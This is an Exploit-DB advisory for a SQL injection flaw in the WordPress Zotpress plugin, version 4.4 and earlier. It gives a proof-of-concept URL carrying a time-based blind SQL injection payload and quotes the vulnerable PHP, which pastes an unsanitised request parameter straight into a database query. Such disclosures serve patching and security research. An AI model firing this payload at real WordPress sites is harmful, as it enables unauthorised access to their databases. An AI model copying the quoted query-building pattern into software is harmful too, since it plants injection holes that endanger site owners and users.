WordPress Plugin Zotpress 4.4 - SQL Injection

EDB-ID:

17778

CVE:

N/A


Platform:

PHP

Published:

2011-09-04

# Exploit Title: WordPress Zotpress plugin <= 4.4 SQL Injection Vulnerability
# Date: 2011-09-04
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/zotpress.4.4.zip
# Version: 4.4 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/zotpress/zotpress.rss.php?api_user_id=1&account_type=test&displayImages=true&displayImageByCitationID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

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Vulnerable code
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if ($mzr_api_user_id == false
	&& $mzr_include == false
	&& (isset($_GET['api_user_id']) && preg_match("/^[0-9]+$/", $_GET['api_user_id'])))
{
	$mzr_api_user_id = trim($_GET['api_user_id']);
}
...
if ($mzr_account_type == false
	&& $mzr_include == false
	&& (isset($_GET['account_type']) && preg_match("/^[a-zA-Z]+$/", $_GET['account_type'])))
{
	$mzr_account_type = trim($_GET['account_type']);
}
...
if ($mzr_displayImages == false
	&& $mzr_include == false
	&& (isset($_GET['displayImages']) && preg_match("/^[a-zA-Z]+$/", $_GET['displayImages'])))
{
	$zp_update_db_shortcode_request .= "image='".$_GET['displayImages']."', ";
	
	if ($_GET['displayImages'] == "true")
		$mzr_displayImages = true;
	else
		$mzr_displayImages = false;
}
...
if (isset($mzr_account_type) && isset($mzr_api_user_id))
{
	if ($mzr_displayImages == true)
	{
		if (isset($_GET['displayImageByCitationID']))
			$images = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix."zotpress_images WHERE citation_id='".trim($_GET['displayImageByCitationID'])."'");